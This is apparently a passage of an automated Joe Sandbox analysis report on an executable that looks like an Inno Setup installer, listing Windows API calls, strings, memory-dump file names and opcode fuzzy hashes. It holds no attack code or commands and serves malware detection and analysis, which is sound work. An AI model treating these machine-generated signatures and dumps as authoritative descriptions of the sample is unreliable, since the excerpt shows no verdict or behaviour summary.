                                                                                                                                                                                                                                      • Setting permissions on registry key: %s\%s, xrefs: 0047349E
                                                                                                                                                                                                                                      • Could not set permissions on the registry key because it currently does not exist., xrefs: 004734E3
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast
                                                                                                                                                                                                                                      • String ID: Could not set permissions on the registry key because it currently does not exist.$Failed to set permissions on registry key (%d).$Setting permissions on registry key: %s\%s
                                                                                                                                                                                                                                      • API String ID: 1452528299-4018462623
                                                                                                                                                                                                                                      • Opcode ID: 6a97e4f81041aadbe163303a7d14e2778330a35fec2615f3944f9ca16867819a
                                                                                                                                                                                                                                      • Instruction ID: f6b37ec0c80c1520313a246a851a493010c524415d82476cd93cad017a8f966b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6a97e4f81041aadbe163303a7d14e2778330a35fec2615f3944f9ca16867819a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 76218670A042445FCB10DFA9C8826EEBBE4DF49315F50817BE508E7392D7785E05876D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
                                                                                                                                                                                                                                      • SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9
                                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403CFC
                                                                                                                                                                                                                                      • SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403D06
                                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403D15
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ByteCharMultiWide$AllocString
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 262959230-0
                                                                                                                                                                                                                                      • Opcode ID: dcd45591e65b03bd276bb2a5b0fabad56ebf76f0c081827c2345b0a7b763a240
                                                                                                                                                                                                                                      • Instruction ID: 657f84db466bd1c54801a2b30447fc2084338491f8142acf58a262d5883cef98
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dcd45591e65b03bd276bb2a5b0fabad56ebf76f0c081827c2345b0a7b763a240
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FCF0A4917442043BF21025A65C43F6B198CCB82B9BF50053FB704FA1D2D87C9D04427D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SelectPalette.GDI32(00000000,00000000,00000000), ref: 00414419
                                                                                                                                                                                                                                      • RealizePalette.GDI32(00000000), ref: 00414421
                                                                                                                                                                                                                                      • SelectPalette.GDI32(00000000,00000000,00000001), ref: 00414435
                                                                                                                                                                                                                                      • RealizePalette.GDI32(00000000), ref: 0041443B
                                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 00414446
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Palette$RealizeSelect$Release
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2261976640-0
                                                                                                                                                                                                                                      • Opcode ID: c9c8aa66f6917016d7555c0ac5b3df2d15848593dde74026b2272496f15e705b
                                                                                                                                                                                                                                      • Instruction ID: 3cc421e061c7a323c9855e33cbe13bf4890882f9e8533d15179bd5f7679f66d2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c9c8aa66f6917016d7555c0ac5b3df2d15848593dde74026b2272496f15e705b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A2018F7520C3806AE600A63D8C85A9F6BED9FCA718F15446EF495DB282DA7AC8018765
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0041F074: GetActiveWindow.USER32 ref: 0041F077
                                                                                                                                                                                                                                        • Part of subcall function 0041F074: GetCurrentThreadId.KERNEL32 ref: 0041F08C
                                                                                                                                                                                                                                        • Part of subcall function 0041F074: EnumThreadWindows.USER32(00000000,Function_0001F050), ref: 0041F092
                                                                                                                                                                                                                                        • Part of subcall function 004231A8: GetSystemMetrics.USER32(00000000), ref: 004231AA
                                                                                                                                                                                                                                      • OffsetRect.USER32(?,?,?), ref: 00424DC9
                                                                                                                                                                                                                                      • DrawTextA.USER32(00000000,00000000,000000FF,?,00000C10), ref: 00424E8C
                                                                                                                                                                                                                                      • OffsetRect.USER32(?,?,?), ref: 00424E9D
                                                                                                                                                                                                                                        • Part of subcall function 00423564: GetCurrentThreadId.KERNEL32 ref: 00423579
                                                                                                                                                                                                                                        • Part of subcall function 00423564: SetWindowsHookExA.USER32(00000003,00423520,00000000,00000000), ref: 00423589
                                                                                                                                                                                                                                        • Part of subcall function 00423564: CreateThread.KERNEL32(00000000,000003E8,004234D0,00000000,00000000), ref: 004235AD
                                                                                                                                                                                                                                        • Part of subcall function 00424B2C: SetTimer.USER32(00000000,00000001,?,004234B4), ref: 00424B47
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Thread$CurrentOffsetRectWindows$ActiveCreateDrawEnumHookMetricsSystemTextTimerWindow
                                                                                                                                                                                                                                      • String ID: vLB
                                                                                                                                                                                                                                      • API String ID: 1477829881-1797516613
                                                                                                                                                                                                                                      • Opcode ID: 9987255b0b6c78362164308449554d51e9442941db4b17a29f095a444d8f0f61
                                                                                                                                                                                                                                      • Instruction ID: 1a85cd152e58b5c2614c87f396891e2b5808bef0cf689969089b0637ec596c27
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9987255b0b6c78362164308449554d51e9442941db4b17a29f095a444d8f0f61
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C5812675A003188FCB14DFA8D880ADEBBF4FF88314F50416AE905AB296E738AD45CF44
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • WNetGetUniversalNameA.MPR(00000000,00000001,?,00000400), ref: 00407003
                                                                                                                                                                                                                                      • WNetOpenEnumA.MPR(00000001,00000001,00000000,00000000,?), ref: 0040707D
                                                                                                                                                                                                                                      • WNetEnumResourceA.MPR(?,FFFFFFFF,?,?), ref: 004070D5
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Enum$NameOpenResourceUniversal
                                                                                                                                                                                                                                      • String ID: Z
                                                                                                                                                                                                                                      • API String ID: 3604996873-1505515367
                                                                                                                                                                                                                                      • Opcode ID: a9e747af3270ad6827a26b5e12e82ea9da9777e5f51a79d453bfa0d7b97e4fbe
                                                                                                                                                                                                                                      • Instruction ID: 78f4b6eea80f90a9c0d6dbacb1000d6f5057f9b0a0312f2c839bfa0eabc808a5
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a9e747af3270ad6827a26b5e12e82ea9da9777e5f51a79d453bfa0d7b97e4fbe
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 14516470E04208AFDB11DF95C951AAFBBB9EF09304F1045BAE500BB3D1D778AE458B5A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetRectEmpty.USER32(?), ref: 0044D04E
                                                                                                                                                                                                                                      • DrawTextA.USER32(00000000,00000000,00000000,?,00000D20), ref: 0044D079
                                                                                                                                                                                                                                      • DrawTextA.USER32(00000000,00000000,00000000,00000000,00000800), ref: 0044D101
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: DrawText$EmptyRect
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 182455014-2867612384
                                                                                                                                                                                                                                      • Opcode ID: 3cb455d8176bf3e5231f8dda4285d64bdc155d7a8260b5a0e5f680fe50550aac
                                                                                                                                                                                                                                      • Instruction ID: ac611c4ae9e9b4e435f74cd3b872a097dcdbbef8ea8fa2dc8c743a2ef399c877
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3cb455d8176bf3e5231f8dda4285d64bdc155d7a8260b5a0e5f680fe50550aac
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 18517171E00248AFDB11DFA5C885BDEBBF8BF48308F18447AE845EB252D7789945CB64
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetDC.USER32(00000000), ref: 0042EF9E
                                                                                                                                                                                                                                        • Part of subcall function 0041A1E8: CreateFontIndirectA.GDI32(?), ref: 0041A2A7
                                                                                                                                                                                                                                      • SelectObject.GDI32(?,00000000), ref: 0042EFC1
                                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,?), ref: 0042F0A0
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateFontIndirectObjectReleaseSelect
                                                                                                                                                                                                                                      • String ID: ...\
                                                                                                                                                                                                                                      • API String ID: 3133960002-983595016
                                                                                                                                                                                                                                      • Opcode ID: 65766ae35a5ff9b042dd79c87bacb89811e544568082cefb05445997e7e8f61e
                                                                                                                                                                                                                                      • Instruction ID: de545d42c11d103cbad381cc3223c2b5efa9fdb4a6e9ae4bb0445229962d8c70
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 65766ae35a5ff9b042dd79c87bacb89811e544568082cefb05445997e7e8f61e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5A316370B00128AFDB11EB96D841BAEB7F8EB09348F90447BE410A7392D7785E49CA59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00496991,_iu,?,00000000,004539F6), ref: 004539AB
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00496991,_iu,?,00000000,004539F6), ref: 004539BB
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseCreateFileHandle
                                                                                                                                                                                                                                      • String ID: .tmp$_iu
                                                                                                                                                                                                                                      • API String ID: 3498533004-10593223
                                                                                                                                                                                                                                      • Opcode ID: 1bf85a80132bbff87a9a827a47fd0c4a75e2f830b03f5f12b130a42208c1e1fd
                                                                                                                                                                                                                                      • Instruction ID: c819285d1904897ee35e15112b57b1097950df4cd651dd5525fdc5768647a91e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1bf85a80132bbff87a9a827a47fd0c4a75e2f830b03f5f12b130a42208c1e1fd
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6531C5B0A00249ABCB11EFA5D842B9EBBB4AF44345F20453AF810B73C2D7785F058B69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(00000000,004986D0,00000000,00497E76,?,?,00000000,0049B628), ref: 00497DF0
                                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(00000000,00000000,00000000,004986D0,00000000,00497E76,?,?,00000000,0049B628), ref: 00497E19
                                                                                                                                                                                                                                      • MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 00497E32
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: File$Attributes$Move
                                                                                                                                                                                                                                      • String ID: isRS-%.3u.tmp
                                                                                                                                                                                                                                      • API String ID: 3839737484-3657609586
                                                                                                                                                                                                                                      • Opcode ID: c8ffd91a69648c323ebec4846a0c95b9f63ed5ce66c8394ab64ce5c1dd8b2d9f
                                                                                                                                                                                                                                      • Instruction ID: d3b1e0af9bc01606b4acbc4251c5ccfb03fd27bd09466a3f7c53cc9bc4e4fae9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c8ffd91a69648c323ebec4846a0c95b9f63ed5ce66c8394ab64ce5c1dd8b2d9f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F5214F71E14219AFCF11EFA9C881AAFBBB8EF44714F10457BB814B72D1D6389E018B59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00404DC5
                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 00404E0D
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ExitMessageProcess
                                                                                                                                                                                                                                      • String ID: Error$Runtime error at 00000000
                                                                                                                                                                                                                                      • API String ID: 1220098344-2970929446
                                                                                                                                                                                                                                      • Opcode ID: 4aa0907dffceb0697d192a833af99b379258e6819ee5eddde657f3822e72bbb6
                                                                                                                                                                                                                                      • Instruction ID: e2df0dcbf1ce8e07228a8ae3c957e3f7be2bf5582065763199918d440bd3f461
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4aa0907dffceb0697d192a833af99b379258e6819ee5eddde657f3822e72bbb6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8E219560A442414ADB11A779BA8571B3B91D7E5348F04817BE710A73E3C77C8C4487ED
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042C804: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C828
                                                                                                                                                                                                                                        • Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
                                                                                                                                                                                                                                        • Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9
                                                                                                                                                                                                                                      • LoadTypeLib.OLEAUT32(00000000,00000000), ref: 00456A9C
                                                                                                                                                                                                                                      • RegisterTypeLib.OLEAUT32(00000000,00000000,00000000), ref: 00456AC9
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Type$AllocByteCharFullLoadMultiNamePathRegisterStringWide
                                                                                                                                                                                                                                      • String ID: LoadTypeLib$RegisterTypeLib
                                                                                                                                                                                                                                      • API String ID: 1312246647-2435364021
                                                                                                                                                                                                                                      • Opcode ID: c06c5e8b46d4cc008794e6ef7648282b6775267df5f2c1a0af32ed40ef5fa1a3
                                                                                                                                                                                                                                      • Instruction ID: f320f84dc8d434ac547319b1f88b10c46afed2bb2b034f8a1d5164c41c1038b2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c06c5e8b46d4cc008794e6ef7648282b6775267df5f2c1a0af32ed40ef5fa1a3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CE118430B00604AFDB11DFA6CD55A5AB7BDEB89705F518476FD04D3652DA389E04CA14
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,00000B06,00000000,00000000), ref: 00456FBA
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,00000B00,00000000,00000000), ref: 00457057
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Failed to create DebugClientWnd, xrefs: 00457020
                                                                                                                                                                                                                                      • Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x), xrefs: 00456FE6
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: MessageSend
                                                                                                                                                                                                                                      • String ID: Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x)$Failed to create DebugClientWnd
                                                                                                                                                                                                                                      • API String ID: 3850602802-3720027226
                                                                                                                                                                                                                                      • Opcode ID: 6dc4dd13ffff63052e532ec2970cf3a172fdf6ef35738a55e650b02f86b7c4d3
                                                                                                                                                                                                                                      • Instruction ID: 7b454b92cb1dfb233f50f2560aabdc39b6abe04e8f027f2194e5078dec578530
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6dc4dd13ffff63052e532ec2970cf3a172fdf6ef35738a55e650b02f86b7c4d3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 571127706083409BE310ABA8DC81B5FBBD89B14719F01403AFE849B3C3D7795818C7AE
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC
                                                                                                                                                                                                                                      • GetFocus.USER32 ref: 00478277
                                                                                                                                                                                                                                      • GetKeyState.USER32(0000007A), ref: 00478289
                                                                                                                                                                                                                                      • WaitMessage.USER32(?,00000000,004782B0,?,00000000,004782D7,?,?,00000001,00000000,?,?,?,0047FEE6,00000000,00480DAC), ref: 00478293
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
